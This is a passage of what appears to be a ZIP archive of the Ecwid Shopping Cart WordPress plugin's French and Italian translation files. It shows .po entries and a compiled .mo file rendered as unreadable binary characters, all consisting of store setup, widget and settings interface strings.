"Gérer ma boutique" msgid "Manage plugin settings" msgstr "Gérer mes paramètres de plugin" msgid "→ Sell on Facebook" msgstr "→ Vendre sur Facebook" msgid "Online store powered by <a %s>Ecwid</a>" msgstr "" msgid "Store" msgstr "Boutique" msgid "<strong>Ecwid shopping cart is almost ready</strong>. Please visit <a target=\"_blank\" href=\"%s\">the created page</a> to see your store with demo products. In order to finish the installation, please go to the <a href=\"admin.php?page=ecwid\"><strong>Ecwid settings</strong></a> and configure the plugin." msgstr "<strong>Le panier virtuel Ecwid est quasiment prêt</strong>. Veuillez visiter <a target=\"_blank\" href=\"%s\">la page créée</a> pour voir votre boutique et des produits de démonstration. Afin de terminer l'installation, veuillez naviguer vers les <a href=\"admin.php?page=ecwid\"><strong>réglages Ecwid</strong></a> et configurer le plugin." msgid "Do you like your Ecwid online store? We'd appreciate it if you <a %s>add your review and vote</a> for the plugin on Wordpress site. (<a id=\"hide-vote-message\">Close</a> and do not show this message anymore)" msgstr "" msgid "Ecwid shopping cart settings" msgstr "" msgid "Ecwid Store" msgstr "Boutique Ecwid" msgid "General settings" msgstr "Réglages généraux" msgid "General" msgstr "Général" msgid "Appearance settings" msgstr "Réglages d'apparence" msgid "Appearance" msgstr "Apparence" msgid "Advanced settings" msgstr "Réglages avancés" msgid "Advanced" msgstr "Avancés" msgid "Setup" msgstr "" msgid "Your store's minicart" msgstr "Le mini-panier de votre boutique" msgid "Ecwid Shopping Bag (Normal)" msgstr "Le Panier Ecwid (Normal)" msgid "Ecwid Shopping Bag (Mini view)" msgstr "Le Panier Ecwid (Mini-vue)" msgid "Your store's search box" msgstr "La boîte de recherche de votre boutique" msgid "Ecwid Search Box" msgstr "Boîte de Recherche Ecwid" msgid "Vertical menu of categories" msgstr "Menu vertical de catégories" msgid "Ecwid Vertical Categories" msgstr "Catégories Verticales Ecwid" msgid "Price" msgstr "" msgid "Ecwid Shopping Cart — Advanced settings" msgstr "Panier Ecwid — Réglages avancés" msgid "Category shown by default" msgstr "Catégorie affichée par défaut" msgid "Store root category" msgstr "Catégorie racine de la boutique" msgid "Default category ID" msgstr "Numéro de la catégorie par défaut" msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "Par défaut, la vitrine présente une liste de catégories racines. Vous pouvez changer ce comportement et afficher une catégorie différente lorsque les clients accèdent à votre boutique pour la première fois. Cette fonction est pratique lorsque vous n'avez qu'une seule catégorie ou si vous souhaitez afficher une gamme spécifique d'articles (par ex. \"Produits Phares\") à tous vos clients." msgid "In order to set this option, <a %s>find an ID of the necessary category</a> and save it here." msgstr "Afin de régler cette option, <a %s>trouvez le numéro de catégorie nécessaire</a> puis sauvegardez-le ici." msgid "Single Sign-On Secret Key" msgstr "Clé Secrète Single Sign-on" msgid "Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website." msgstr "Cette fonction optionnelle permet d'activer Single Sign-on : lorsque les clients sont authentifiés sur votre site, ils sont automatiquement connectés à votre boutique Ecwid, même s'ils n'avaient pas auparavant de compte dans la boutique. Il est logique d'activer cette fonction lorsque vos visiteurs créent typiquement un compte sur votre site WordPress." msgid "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > API > Single Sign-On API\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgstr "Afin d'activer cette fonction vous devez soumettre une clé secrète. Vous trouverez cette clé dans votre panneau de contrôle Ecwid, sur la page \"Paramètres Système > API > Single Sign-on API\". Cette fonction n'est disponible que pour les <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">utilisateurs payants</a>." msgid "Save changes" msgstr "Sauvegarder les modifications" msgid "Ecwid Shopping Cart — Appearance settings" msgstr "Panier Ecwid — Réglages d'apparence" msgid "Display search box above products" msgstr "Afficher la boîte de recherche au-dessus des produits" msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Vous pouvez aussi ajouter une boîte de recherche à la barre d'outils de votre site via les <a href=\"%s\">widgets natifs de WordPress</a>" msgid "Display horizontal categories above products" msgstr "Afficher les catégories horizontales au-dessus des produits" msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Vous pouvez aussi ajouter des catégories verticales à la barre d'outils de votre site via les <a href=\"%s\">widgets natifs de WordPress</a>" msgid "Enable minicart attached to horizontal categories" msgstr "Activer le mini-panier attaché aux catégories horizontales" msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "Cette option devrait être désactivée si vous avez ajouté un mini-panier à la barre latérale de votre site" msgid "Number of categories per row" msgstr "Nombre de catégories par rangée" msgid "Number of products per page" msgstr "Nombre de produits par page" msgid "Grid view" msgstr "Affichage Vignettes" msgid "List view" msgstr "Affichage Liste" msgid "Table view" msgstr "Affichage Tableau" msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products." msgstr "Vous pouvez contrôler ici le nombre de produits affichés par page. Ces options définissent des valeurs maximales. S'il n'y pas assez de place pour afficher toutes les colonnes de produits, Ecwid modifiera le nombre de colonnes pour conserver tous les produits." msgid "Default view mode on product pages" msgstr "Mode d'affichage par défaut des pages de produits" msgid "Grid" msgstr "Vignettes" msgid "List" msgstr "Liste" msgid "Table" msgstr "Tableau" msgid "Default view mode on search results" msgstr "Mode d'affichage par défaut des résultats de recherche" msgid "Store powered by Ecwid" msgstr "" msgid "Ecwid Shopping Cart — General settings" msgstr "Panier Ecwid — Réglages généraux" msgid "Thank you for choosing Ecwid to build your online store" msgstr "Merci d'avoir choisi Ecwid pour construire votre boutique en ligne" msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "La première étape vers l'ouverture de votre commerce en ligne : <br />Lançons-nous et ajoutons une boutique à votre site WordPress en <strong>3</strong> étapes faciles." msgid "Register at Ecwid" msgstr "Inscrivez-vous chez Ecwid" msgid "Create a new Ecwid account which you will use to manage your store and inventory. The registration is free." msgstr "Créez un nouveau compte Ecwid afin de pouvoir gérer votre boutique et votre inventaire. L'inscription est gratuite." msgid "Create new Ecwid account" msgstr "Créer un nouveau compte Ecwid" msgid "I already have Ecwid account, sign in" msgstr "J'ai déjà un compte Ecwid, se connecter" msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "Vous pourrez aussi vous connecter avec vos comptes Google, Facebook ou PayPal existants." msgid "Find your Store ID" msgstr "Trouver votre Numéro de Boutique." msgid "Store ID is a unique identifier of any Ecwid store, it consists of several digits. You can find it on the \"Dashboard\" page of Ecwid control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "Le Numéro de Boutique est le code unique de votre boutique Ecwid, il est constitué de plusieurs chiffres. Vous pouvez le trouver sur la page \"Tableau de Bord\" du panneau de contrôle d'Ecwid. Le Numéro de Boutique sera aussi envoyé dans l'email de bienvenu après l'inscription." msgid "Enter your Store ID" msgstr "Entrer votre Numéro de Boutique" msgid "Enter your Store ID here:" msgstr "Entrez votre Numéro de Boutique ici :" msgid "Store ID" msgstr "Numéro de Boutique" msgid "Save and connect your Ecwid store to the site" msgstr "Sauvegardez et connectez votre boutique Ecwid au site." msgid "Questions? Visit <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid support center</a>" msgstr "Des questions? Visitez le <a href=\"http://help.ecwid.com/?source=wporg\">centre d'assistance Ecwid</a>" msgid "Congratulations!" msgstr "Félicitations !" msgid "Your Ecwid store is now connected to your WordPress website" msgstr "Votre boutique Ecwid est maintenant connectée à votre site WordPress" msgid "Greetings!" msgstr "Salutations !" msgid "Your Ecwid store is connected to your WordPress website" msgstr "Votre boutique Ecwid est connectée à votre site WordPress" msgid "Control panel" msgstr "Panneau de contrôle" msgid "Account status" msgstr "Statut du compte" msgid "Paid" msgstr "Payant" msgid "Free" msgstr "Gratuit" msgid "Thank you for supporting Ecwid!" msgstr "Merci pour le soutien apporté à Ecwid !" msgid "Upgrade to get access to cool premium features." msgstr "Surclassez votre compte pour accéder à de super fonctionnalités premium." msgid "Billing and plans" msgstr "" msgid "Upgrade" msgstr "" msgid "If you want to connect another Ecwid store, you can <a %s>disconnect the current one and change Store ID</a>." msgstr "" PK������Ê—[I³Y9þW��þW��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-it_IT.monu�„[µü¤��������Þ•����¬������|��å���Ü ��'���p�� ���˜�� ���¹��q���Ã��<���5��k���r��K���Þ��S���*��G���~�����Æ�����Ï��P���á�����2�� ���N�����Y��¸���m�����&��/��=�����m�����‡�����¦�����½�����Ø�����í�����þ������������M���3��@��������Â��$���Õ�����ú��/�����w���J�����Â�����D��]���W�� ���µ�����¿��"���Ó��#���ö�� ����� ���%�����0��!���A��!���c��q���…��s���÷��P���k��¡���¼��y���^��(���Ø������� ��������*��)���>��+���h�� ���”�� ��� �����«�����Ä�����Ý��Û���ö��‰���Ò��L���\�����©�����¿�����Ó�����ð����� �� �����&���&�����M�����j�����~��¸���‡�����@�����[��*���Ý��!�����3���*�����^�����g�� ���€�������8���ž�� ���×��*���â����� �� ��� ��Þ��� �����û ��2�� !��]���>"�����œ"�� ���¡"�����«"�����»"��,���Ò"�����ÿ"��A���#�����_#��-���w#�����¥#�����Â#�����Þ#�����ù#��c��� $��l���p$�����Ý$��‰���ï$��!���y%�����›%�����¡%��+���°%��/���Ü%��W��� &�����d&�����€&��%���™&�����¿&��1���Õ&�����'�����'�����+'�����='�� ���N'��1���['��(���'��)���¶'�����à'�����ó'�����ù'�� ���þ'����� (�����!(�� ���1(�� ���?(�����K(��T��e(�� ���º)��>���È)��–���*�����ž*�����¤*�����µ*��ß���¾*�����ž+�����¯+�����¿+�����Ó+�����â+�� ���è+��/���ó+��Ó���#,��M���÷,��M���E-��•���“-��Š���).�����´.�����Å.�����Ö.��0���ó.��T���$/��q���y/��=���ë/��A���)0�����k0��,���‡0�����´0�����Ó0�����ì0��)���1�� ���+1�����L1��q���]1��G���Ï1�����2��K���¥2��S���ñ2��G���E3�����3�����–3��u���¬3�����"4�����<4�����L4��Â���i4��#���,5��y��P5��'���Ê6�����ò6�����7�����.7�����J7�����`7�� ���q7�����{7�����7��`���¬7��G��� 8�����U8��(���l8��$���•8��4���º8��­���ï8��—���9�����5:��y���K:�����Å:�����Î:��>���ç:��A���&;�� ���h;�� ���u;�����‚;��!���–;��(���¸;��q���á;��s���S<��P���Ç<��¡���=��y���º=��#���4>�� ���X>�� ���y>�����…>��-���™>��7���Ç>�� ���ÿ>�� ��� ?�����?�����1?�����K?��Û���c?��ž���?@��S���Þ@�����2A�����LA�� ���`A�� ���A�����ŽA�����¡A��&���²A�����ÙA�����öA�� ��� B��¸���B�����ÑB�����îB��;���pC��#���¬C��3���ÐC�� ���D�����D�����,D�����<D��N���ND�����D��4���¥D�����ÚD�����âD��ü���úD�����÷E��Y�� F��]���dG�����ÂG�����ÉG�����àG�����ñG��,���H��"���2H��A���UH��#���—H��6���»H�����òH�����I�����-I�����LI��’���gI��‚���úI�����}J��‰���‘J�����K�����;K�����BK��4���QK��9���†K��]���ÀK�����L�����<L��"���XL�����{L��1���‘L�����ÃL�� ���ÌL�����íL������M�����M��6���!M��)���XM��)���‚M�����¬M�����ÂM�����ÊM�� ���ÒM�����àM�����õM�����N�����N��!���$N��F��FN�����O��?��� O��¼���àO�����P�����¥P�� ���¶P��ß���ÁP�����¡Q�����¼Q�����ÌQ�����éQ�����þQ�����R��L���R��Ó���kR��W���?S��N���—S��¿���æS��¦���¦T�����MU�����kU�����‰U��0���¦U��b���×U�����:V��=���ËV��E��� W�����OW��6���kW��#���¢W��!���ÆW�����èW��*����������›���,����������K���>��� ���Œ������u���7���¡�������(���G���b���]��� �������X���v���?���ž���j������<���t������Š���„�����������Y����������f���|���^���o���g������“���P���c���r������n�������ƒ���"���V������I���§���•���M������8��������������”�������š���_������T����������� ���œ�������d���������������H�������E���l�������������}�������x���i�������B���¦���R���D�������1���m���‰������� ���&���[���e���#���'�������q���£���U���`���˜���Q���¥���z�������p���-���A�������:�����������5������������/����������†�������’���w������‹���L���‘�������S������ ���k�����������������O���;������������������‚���W�������¢���%���Z�������¤���J���‡���–���N�������¬���.���F���0���$���€��� ������=���y�������6���Ž���«���—���@������©����������� ����������������������!���a���9���™���{���������…���ª����������ˆ���~�����������������������¨���������������\���C���3�������)������������h�������4���2���+���Ÿ���s���<a %s>Online store powered by Ecwid</a>�Add Product Slider to Your Store�Add Store�Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds vertical categories block to let the customer navigate your store.�Advanced�Advanced settings�After clicking button you need to login and accept permissions to use our plugin�Already have Ecwid account?�Appearance�Appearance settings�Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog.�Back to Store Settings�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Category shown by default�Chameleon skin <sup>beta</sup>�Choose widgets to show�Compatible with your theme�Configure Appearance�Congratulations!�Connect�Connect Ecwid store�Connect Your Ecwid Store�Connect your Ecwid account with this site to complete setup and start selling�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�Connect your store�Connect your store to Wordpress site�Connect your store to this site�Connect your store<br /> to this WordPress site�Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Create Ecwid store�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Dashboard�Default category ID�Default view mode on product pages�Default view mode on search results�Demo Store�Demo store�Disconnect store�Display categories above products�Display search box above products�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a simple search box for your customers to find a product in your storex�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site.�Don't have Ecwid account? Create it here�Don't have an Ecwid account?�Ecwid Badge�Ecwid Shopping Cart�Ecwid Shopping Cart — Advanced settings�Ecwid Shopping Cart — Appearance settings�Ecwid Store�Ecwid Team�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid plugin settings�Ecwid shopping cart�Ecwid shopping cart settings�Ecwid shopping cart widget�Edit Appearance�Edit Store�Enable minicart attached to categories�Enable the new category menu�Enter your Store ID�Features�Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results.�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Free registration, No credit card required�Get Started, Create Ecwid Account�Get Your Products Found on Google using XML Sitemap�Get help�Get ready to sell online�Global Reach�Go to Ecwid site�Good job! Your store is set up and you're ready to sell.�Greetings!�Greetings! Your Ecwid store is now active.�Grid�Grid view�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products.�Hidden category�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key" page. This feature is available for <a href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�In order to set this option, <a %s>find an ID of the necessary category</a> and save it here.�List�List view�Manage my store�Manage plugin settings�More than 800,000 merchants in 175 countries�Never show this message again�New features available, reconnect to be in touch with our updates�No credit card required�Now you can fine-tune your store's appearance�Number of categories per row�Number of products per page�Number of products to show�Open control panel�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�PCI-DSS Certified�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Plugin is installed successfully!�Price�Product Search�Product catalog will be shown automatically�Questions? Visit <a %s>Ecwid support center</a>�Questions? Visit <a href="http://help.ecwid.com/?source=wporg">Ecwid support center</a>�Rate Ecwid at WordPress.org�Recently Viewed Products�Recommendations for Your Online Store�Reconnect Ecwid store�Reconnect your store<br /> to this WordPress site�Register�Register at Ecwid for free�Responsive design�Save and connect�Save changes�Secure checkout with over 40<br />payment options�Sell Everywhere<br>with your Ecwid store�Sell On The Go with Ecwid iOS Application�Set up Ecwid Store�Setup�Shop�Shopping Cart�Shopping Cart (Mini)�Show categories�Show minicart�Show search�Single Sign-On Secret Key�Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website.�Start selling�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�Store�Store Categories�Store ID�Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Store Link Title�Store Page Link�Store root category�Store settings�Table�Table view�Take a few simple steps to complete store setup�The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the "Show categories" option)�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Visit Storefront�Visit storefront�Where to find your Store ID:�You have not viewed any product yet. Open store.�You should disable this option, if you added minicart to your website's sidebar�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your Ecwid store is connected<br /> to your WordPress website�Your Ecwid store is now connected<br /> to your WordPress website�Your store is almost ready!�Your store looks perfect<br />on all devices�Your store will be shown here!�Your storefront is ready�→ Sell on Facebook�<a %s>Negozio online powered by Ecwid</a>�Add Product Slider to Your Store�Aggiungi Negozio�Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid�Aggiungi il tuo negozio Ecwid per il tuo sito <nobr>in due click</nobr>�Inoltre, è possibile aggiungere altri controlli alla barra degli strumenti del tuo sito Web utilizzando i <a %s>widgets nativi WordPress</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds vertical categories block to let the customer navigate your store.�Avanzate�Impostazioni avanzate�Dopo aver cliccato il pulsante devi accedere e accettare le autorizzazioni necessarie per utilizzare il nostro plugin�Hai già un accont Ecwid?�Visualizzazione�Impostazioni visualizzazione�Regolazione automatica del design del tuo negozio per il tema Wordpress. Qualsiasi tema Wordpress utilizzi, Ecwid rileverà font e colori predominanti e li utilizzerà nel tuo catalogo prodotti.�Torna alle impostazioni del negozio�Per impostazione predefinita, la vetrina mostra un elenco di categorie principali. È possibile ignorare questo comportamento e mostrare una categoria diversa quando i clienti aprono il negozio per la prima volta. E 'utile se si dispone di una sola categoria o si desidera visualizzare uno specifico insieme di elementi (es. "Prodotti in evidenza") a tutti i nuovi visitatori.�Categoria visualizzata come predefinita�Tema Chameleon <sup>beta</sup>�Scegli il widget da mostrare�Compatibile con il tuo tema�Configurare l'aspetto�Congratulazioni!�Collegati�Collega Ecwid store�Collega il tuo negozio Ecwid�Collega il tuo account Ecwid con questo sito per completare l'installazione e iniziare a vendere�Collega il tuo negozio di Ecwid a questo sito <nobr>in due click</nobr>�Collega il tuo negozio�Collega il tuo negozio al sito Wordpress�Collega il tuo negozio a questo sito�Collega il tuo negozio<br /> a questo sito WordPress�Errore di connessione - dopo aver cliccato il pulsante, è necessario accedere e accettare le autorizzazioni necessarie per utilizzare il nostro plugin. Per favore, riprova.�Errore di connessione: per mostrare il tuo negozio Ecwid su questo sito<br /> clicca ancora sul pulsante e concedi le autorizzazioni per questo plugin.�Crea un negozio Ecwid�Crea un account gratuito di Ecwid per gestire il tuo negozio e le tue giacenze.<br /> Nessuna carta di credito necessaria�Pannello�ID categoria predefinita�Modalità di visualizzazione predefinita sulle pagine prodotti�Modalità di visualizzazione predefinita nei risultati di ricerca�Negozio demo�Negozio demo�Scollega il negozio�Display categories above products�Mostra casella di ricerca sopra prodotti�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a simple search box for your customers to find a product in your storex�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Ti piace il tuo negozio online Ecwid? Apprezzeremmo se aggiungi la recensione e il voto per il plugin sul sito Wordpress.�Non hai un accont Ecwid? Crealo qui�Non disponi di un account Ecwid?�Ecwid Badge�Ecwid Shopping Cart�Ecwid Shopping Cart — Impostazioni Avanzate�Ecwid Shopping Cart — Impostazioni di visualizzazione�Negozio Ecwid�Ecwid Team�Widget Ecwid e-commerce �Soluzione ecommerce Ecwid�Ecwid carrello gratuito�Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!�Ecwid è un negozio online, completamente gratuito. E' facilmente integrabile con qualsiasi blog Wordpress e sono necessari meno di 5 minuti per configurarlo.�Ecwid i comatibile con il tuo<br>“%s†tema WordPress<br>e altri temi WordPress.�Impostazioni plugin Ecwid�Ecwid shopping cart�Impostazioni Ecwid shopping cart�Widget Ecwid�Modifica l'aspetto�Modifica Negozio�Enable minicart attached to categories�Enable the new category menu�Enter your Store ID�Funzionalità�Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results.�Gratuito e sempre aggiornato�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Registrazione gratuita, nessuna carta di credito necessaria�Per iniziare, crea un Account Ecwid�Get Your Products Found on Google using XML Sitemap�Chiedi aiuto�Preparati a vendere online�Portata globale�Vai al sito Ecwid�Ottimo lavoro! Il tuo negozio è stato configurato e ora sei pronto a vendere.�Auguri!�Congratulazioni! Il tuo negozio Ecwid è ora attivo.�Griglia�Visualizza come griglia�Qui è possibile controllare il numero di prodotti da visualizzare per pagina. Queste opzioni definiscono valori massimi. Se non c'è abbastanza spazio per mostrare tutte le colonne dei prodotto, Ecwid adatterà il numero di colonne a tutti i prodotti.�Categoria nascosta�Per abilitare questa funzione è necessario essere in possesso di una chiave segreta. Troverai questo pulsante nel pannello di controllo Ecwid, in "Impostazioni di sistema > Apps > Single Sign-on API secret key" . Questa funzione è disponibile per tutti gli <a href="http://www.ecwid.com/compare-plans.html" target="_blank">utenti paganti</a>.�Per attivare questa opzione, <a %s> cerca un ID della categoria necessaria</a> e salvalo qui.�Elenco�Visualizza come elenco�Gestione negozio�Impostazioni plugin�More than 800,000 merchants in 175 countries�Non mostrare più questo messaggio�New features available, reconnect to be in touch with our updates�Nessuna carta di credito necessaria�Ora è possibile ottimizzare l'aspetto del tuo negozio�Numero di categorie per riga�Numero di prodotti per pagina�Numero di prodotti da mostrare�Apri pannello di controllo�Puoi anche aggiungere alla barra degli strumenti la casella di ricerca del tuo sito web utilizzando i <a href="%s">widgets nativi di WordPress</a>�Puoi anche aggiungere alla barra degli strumenti le categorie verticali utilizzando i <a href="%s">widgets nativi di WordPress</a>�PCI-DSS Certificato�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Plugin installato con successo!�Prezzo�Product Search�Il catalogo prodotti verrà mostrato automaticamente�Hai domande? Visita il <a %s>Centro di supporto Ecwid</a>�Domande? Visita il <a href="http://help.ecwid.com/?source=wporg">Centro di Supporto Ecwid</a>�Valuta Ecwid su WordPress.org�Prodotti visti recentemente�Consigli per il tuo negozio Online�Reconnect Ecwid store�Reconnect your store<br /> to this WordPress site�Registra�Registrati gratuitamente a Ecwid�Design eccezionale�Save and connect�Salva modifiche�Checkout sicuro con oltre 40<br />opzioni di pagamento�Vendi ovunque<br>con il tuo negozio Ecwid�Sell On The Go with Ecwid iOS Application�Imposta Negozio Ecwid�Opzioni�Negozio�Shopping Cart�Shopping Cart (Mini)�Show categories�Mostra carrello�Mostra ricerca�Registrazione Sign-On Secret Key�Questa funzione opzionale consente di abilitare la Sign-on Secret Key, quando i clienti sono registrati al sito, si accede automaticamente al tuo negozio Ecwid, anche se non dispongono di un account del negozio . Ha senso attivare questa funzione, se i visitatori effettivamente hanno creato un account nel tuo sito WordPress.�Iniziare a vendere�Inizia a vendere <br>sul tuo WordPress <nobr>sito gratis</nobr>�Inizia a vendere sul tuo sito WordPress. Puoi ottenere una copia del tuo negozio anche sulla tua pagina Facebook, su un blog o su un Marketplace come Google Shopping, Yahoo e Shopping.com.�Negozio�Store Categories�ID Negozio�Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Titolo link per il negozio�Store Page Link�Categoria principale negozio�Impostazioni Negozio�Tabella�Visualizza come tabella�Ora esegui alcuni semplici step per completare la configurazione del negozio�The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the "Show categories" option)�Ci sono alcuni piccoli step da fare per iniziare a vendere<br /> sul tuo sito WordPress�Ci sono pochi step da fare per iniziare a vendere<br /> sul tuo sito WordPress�Per aggiungere funzioni extra al tuo negozio, trascina e rilascia gli elementi del negozio Ecwid sul tuo sito. Quando hai finito, è possibile tornare indietro per modificare le impostazioni.�Usa un POS-Mobile Ecwid per vendere e pagare con carte di credito. I tuoi ordini e l'inventario dei tuoi prodotti sono sempre sincronizzati con il tuo negozio online.�Visita la vetrina del negozio�Visita la vetrina del negozio�Where to find your Store ID:�You have not viewed any product yet. Open store.�È necessario disattivare questa opzione, se hai aggiunto il carrello al tuo sito web sidebar�Verrà chiesto di accedere al tuo pannello di controllo Ecwid<br />quindi devi dare le autorizzazioni per mostrare il tuo negozio su questo sito�Il tuo negozio Ecwid è collegato<br /> al tuo sito WordPress�Il tuo negozio Ecwid è ora collegato<br /> al tuo sito Web WordPress�Il negozio è quasi pronto!�Il tuo negozio è perfetto<br />su tutti i dispositivi�Qui verrà mostrato il tuo negozio!�Il tuo negozio virtuale è pronto�→ Vendi su Facebook�PK������Ê—[ä¶~<ÊU��ÊU��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-it_IT.ponu�„[µü¤��������msgid "Ecwid Shopping Cart" msgstr "Ecwid Shopping Cart" msgid "Ecwid Team" msgstr "Ecwid Team" msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid è un negozio online, completamente gratuito. E' facilmente integrabile con qualsiasi blog Wordpress e sono necessari meno di 5 minuti per configurarlo." msgid "Get help" msgstr "Chiedi aiuto" msgid "Go to Ecwid site" msgstr "Vai al sito Ecwid" msgid "Visit storefront" msgstr "Visita la vetrina del negozio" msgid "Manage my store" msgstr "Gestione negozio" msgid "Manage plugin settings" msgstr "Impostazioni plugin" msgid "→ Sell on Facebook" msgstr "→ Vendi su Facebook" msgid "<a %s>Online store powered by Ecwid</a>" msgstr "<a %s>Negozio online powered by Ecwid</a>" msgid "Store" msgstr "Negozio" msgid "Ecwid shopping cart settings" msgstr "Impostazioni Ecwid shopping cart" msgid "Ecwid Store" msgstr "Negozio Ecwid" msgid "Setup" msgstr "Opzioni" msgid "Dashboard" msgstr "Pannello" msgid "Appearance settings" msgstr "Impostazioni visualizzazione" msgid "Appearance" msgstr "Visualizzazione" msgid "Advanced settings" msgstr "Impostazioni avanzate" msgid "Advanced" msgstr "Avanzate" msgid "Hidden category" msgstr "Categoria nascosta" msgid "Recommendations for Your Online Store" msgstr "Consigli per il tuo negozio Online" msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgid "Ecwid Badge" msgstr "Ecwid Badge" msgid "Ecwid shopping cart widget" msgstr "Widget Ecwid" msgid "Ecwid ecommerce solution" msgstr "Soluzione ecommerce Ecwid" msgid "Ecwid free shopping cart" msgstr "Ecwid carrello gratuito" msgid "Ecwid shopping cart" msgstr "Ecwid shopping cart" msgid "Ecwid e-commerce widgets" msgstr "Widget Ecwid e-commerce " msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Adds a cart widget for customer to see the products they added to the cart." msgid "Shopping Cart" msgstr "Shopping Cart" msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Adds a compact cart widget for customer to see the products they added to the cart." msgid 